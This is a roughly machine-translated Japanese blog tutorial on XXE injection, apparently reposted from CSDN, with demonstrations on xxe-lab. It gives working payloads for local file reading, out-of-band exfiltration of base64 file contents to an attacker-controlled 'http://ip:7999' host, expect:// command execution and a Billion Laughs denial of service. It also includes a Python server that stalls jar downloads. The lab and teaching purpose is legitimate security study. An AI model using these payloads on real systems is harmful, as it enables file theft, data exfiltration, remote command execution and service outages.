XXEの脆弱性の原則と一般的な悪用方法(例としてxxe-labを取り上げます)

私は以前にそれを学びましたが、理論的根拠を書くのを忘れました

XMLの基本

基本フォーマット

物事を複雑にすることを避けるために、一般的なファイル読み取りxxeペイロードの例から始めましょう
ここに画像の説明を挿入

最初の行はXML宣言です。XML(1.0)のバージョンを定義します。次の部分は、ドキュメントタイプを宣言するために使用される
DTDであり、タイプがANYである要素(XMLタグ名)を定義します。エンティティ(XMLタグのコンテンツ)を宣言します。内部エンティティ宣言:外部エンティティ宣言:6行目はxmlツリー構造です。上記のDTDは、XMLドキュメントの有効な要素を定義するために使用されます。次の図は、新人チュートリアルhttps://www.runoob.com/によって提供されたxmlの例です。 try / xml / note.xml
!DOCTYPE!ELEMENT
!ENTITY
<!ENTITY entity-name "entity-value">
<!ENTITY entity-name SYSTEM "URI/URL">


ここに画像の説明を挿入

CDATA

CDATA文字データ(文字データ)は、パーサーによって解析されないテキストです。これらのテキストのラベルはマークアップとして扱われず、その中のエンティティは展開されません。
ここに画像の説明を挿入

XMLエンティティタイプ

ここでは、XXEで使用されるタイプのみを紹介します。前述のように、内部エンティティと外部エンティティは、定義方法とは区別されます。スコープの観点から、一般エンティティとパラメータエンティティに分けることができます。

ジェネリックエンティティ

&entity name;で参照されるエンティティは、DTDで定義され、XMLドキュメントで参照されます
ここに画像の説明を挿入

パラメータエンティティ

定義と使用法はDTDにありますが、パラメーターエンティティの定義が他のエンティティを参照できるのはDTDファイルのみです。
ここに画像の説明を挿入

組み込みエンティティ

一般的に使用される組み込みエンティティは5つあり、通常はネストされた定義で使用されます。DTDは一重引用符と二重引用符をサポートしているため、ネストされたエンティティとエンティティ間の関係を区別するために使用できます。実際の使用では、通常、ネストする必要があります。別のパラメータエンティティである%記号は&#37として処理する必要があります

•	&符号:&amp;
•	单引号:&apos;
•	大于号:&gt;
•	小于号:&lt;
•	双引号:&quot;

XXEの脆弱性

XXE(XML外部エンティティインジェクション)XML外部エンティティインジェクション
XMLインジェクションは、閉じたタグを介して悪意のあるXML要素を挿入することにより、管理者ユーザーを登録するなどの論理的な脆弱性攻撃です。
ここに画像の説明を挿入

XXEは、XML要素を外部エンティティインジェクションに注入することです。上記の基本的な知識のセクションでは、DTDでの外部エンティティの宣言についてすでに説明しました。xmlでは、エンティティの役割は、&を介してタグで使用できる定義済み変数と同等です。記号は参照用に使用されます
。ここでの効果は、win7仮想マシンのIEで開かれます。現在のブラウザーのセキュリティポリシーでは、この単純で無礼な方法は許可されていません。
ここに画像の説明を挿入

次の画像はFirefoxで開きます
ここに画像の説明を挿入

ここでは、外部エンティティはインジェクションによって導入され、ローカルファイルは変数参照と同様の方法で読み取られます

XXEを使用する一般的な方法(xxe-labで示されています)

読み取ったファイル

PHP

テストのためにログインボックスでパケットキャプチャを送信します
ここに画像の説明を挿入ここに画像の説明を挿入

これはエコー付きのXXEです。ここで読み取ったファイルが理想的です。xmlで解析できる文字はありません。下の図のファイルの内容が下の図のファイルの内容と同じである場合、 xml解析エラーが発生します(Linux / etc / fstabファイルなど)。XMLのように見える文字が含まれています)、XMLパーサーはこれらの要素を解析しようとしますが、有効なXMLドキュメントではありません。
ここに画像の説明を挿入

ファイルのコンテンツを読み取るエンティティは、<![CDATA []]>タグにスプライスされるため、ファイルのコンテンツはパーサーによって解析されません。
XML仕様では、外部エンティティを内部エンティティと組み合わせることができません
ここに画像の説明を挿入

DTDでそれぞれ%startおよび%endパラメータエンティティを使用して、ファイルの内容をCDATAタグでラップし、スプライシングを完了し、allという名前の別の一般的なエンティティに格納し、最後にxmlで呼び出す必要があります。
ここに画像の説明を挿入

evil.dtd

<?xml version="1.0" encoding="UTF-8"?> 
<!ENTITY all "%start;%file;%end;">

ペイロード

<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE test [
<!ENTITY % start "<![CDATA[">   
<!ENTITY % file SYSTEM "file:///d:/1.txt">  
<!ENTITY % end "]]]>">  
<!ENTITY % dtd SYSTEM "http://ip/evil.dtd"> 
%dtd; ]> 

<user><username>&all;</username><password>s</password></user>

疑似プロトコルエンコーディングを使用してphpで読み取ることもできます
ここに画像の説明を挿入

通常、Webアプリケーションは結果エコーをオンにせず、httpテイクアウトを使用します
ここに画像の説明を挿入

Evil.dtd

<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=d:/1.txt">
<!ENTITY % int "<!ENTITY &#37; send SYSTEM 'http://ip:7999?p=%file;'>">

ペイロード

<!DOCTYPE convert [ 
<!ENTITY % remote SYSTEM "file:///d:/evil.dtd">
%remote;%int;%send;
]>
Python

Pythonで機能するかどうかは、Minidomの解析に使用されるPythonライブラリの選択によって異なりますが
、etreeはデフォルトでXXE攻撃に対して脆弱ではありません。Pulldomとsaxは攻撃されやすいです。Minidomを使用し
た解析の状況は次の図のようになります。コードはxxe-labからメインロジックを抽出することによって取得されます。
ここに画像の説明を挿入

pulldom解析に変更すると、ファイルを読み取ることができます(python2.7では実行可能ですが、python3.10では成功しません)
ここに画像の説明を挿入ここに画像の説明を挿入

pulldomでphpの外部ペイロードを使用すると、リクエストを受信することはできますが、コンテンツを引き出すことはできません。複雑なコンテンツを含むファイルに遭遇すると、エラーが報告され
ます。lxmlモジュールとxml.saxの使用に関する問題を参照してください。モジュール:https://rules。sonarsource.com/python/RSPEC-2755

イントラネットの検出

外部エンティティをロードする応答時間の長さ(高速応答が開いている)によってIPとポートが有効で開いているかどうかを判断すると、phpでは、疑似プロトコルを使用してコンテンツが返されるかどうかを確認することもできます
ここに画像の説明を挿入

ファイルのアップロード

次の図は、各言語プラットフォームでサポートされているプロトコルのリストです。
ここに画像の説明を挿入

Javaは、jarプロトコルをサポートして、リモートの場所からjarファイルを取得し、コンテンツを解凍します。

jar:{url}!{path}

pathは、jarパッケージで解凍されるファイルパスです。jarパッケージは、実際にはzipアーカイブです。

jarプロトコルによるファイルの処理プロセス:

  1. jar/zipファイルを一時ファイルにダウンロードします
  2. 指定したファイルを抽出します
  3. 一時ファイルを削除する

サーバーがファイルを送信する時間を延長することにより、一時ファイルは使用が完了するまで存続できます。これは、ファイルのアップロードが完了するのと同じです
。server.pyは、最後の文字の送信を30秒間遅らせます。ファイルの場合、ファイルの後にガベージ文字を追加する必要があります。

import sys 
import time 
import threading 
import socketserver 
from urllib.parse import quote 
import http.client as httpc 

listen_host = 'localhost' 
listen_port = 9999 
jar_file = sys.argv[1]

class JarRequestHandler(socketserver.BaseRequestHandler):  
    def handle(self):
        http_req = b''
        print('New connection:',self.client_address)
        while b'\r\n\r\n' not in http_req:
            try:
                http_req += self.request.recv(4096)
                print('Client req:\r\n',http_req.decode())
                jf = open(jar_file, 'rb')
                contents = jf.read()
                headers = ('''HTTP/1.0 200 OK\r\n'''
                '''Content-Type: application/java-archive\r\n\r\n''')
                self.request.sendall(headers.encode('ascii'))

                self.request.sendall(contents[:-1])
                time.sleep(30)
                print(30)
                self.request.sendall(contents[-1:])

            except Exception as e:
                print ("get error at:"+str(e))


if __name__ == '__main__':

    jarserver = socketserver.TCPServer((listen_host,listen_port), JarRequestHandler) 
    print ('waiting for connection...') 
    server_thread = threading.Thread(target=jarserver.serve_forever) 
    server_thread.daemon = True 
    server_thread.start() 
    server_thread.join()

次に、ファイルまたはnetdocプロトコルを使用してディレクトリを一覧表示し、一時ファイル名を取得します。通常は、ファイルインクルードを使用して逆シリアル化をトリガーします。

PHPはRCEを期待しています

XXEforRCEを直接使用するexpect拡張機能をインストールします

<!DOCTYPE root[<!ENTITY cmd SYSTEM "expect://id">]>
<dir>
<file>&cmd;</file>
</dir>

DOS Billion Laughs Attack

<?xml version="1.0"?>
     <!DOCTYPE lolz [
     <!ENTITY lol "lol">
     <!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
     <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
     <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
     <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
     <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
     <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
     <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
     <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
     ]>
     <lolz>&lol9;</lolz>

参考

https://www.cnblogs.com/backlion/p/9302528.html
https://docs.python.org/zh-cn/3/library/xml.dom.pulldom.html
https://www.acunetix。 com / blog / articles / xml-external-entity-xxe-vulnerabilities /
https://www.acunetix.com/blog/web-security-zone/how-to-mitigate-xxe-vulnerabilities-in-python/
https: //www.runoob.com/dtd/dtd-tutorial.html
https://www.runoob.com/xml/xml-tutorial.html

おすすめ

転載: blog.csdn.net/weixin_43610673/article/details/123427161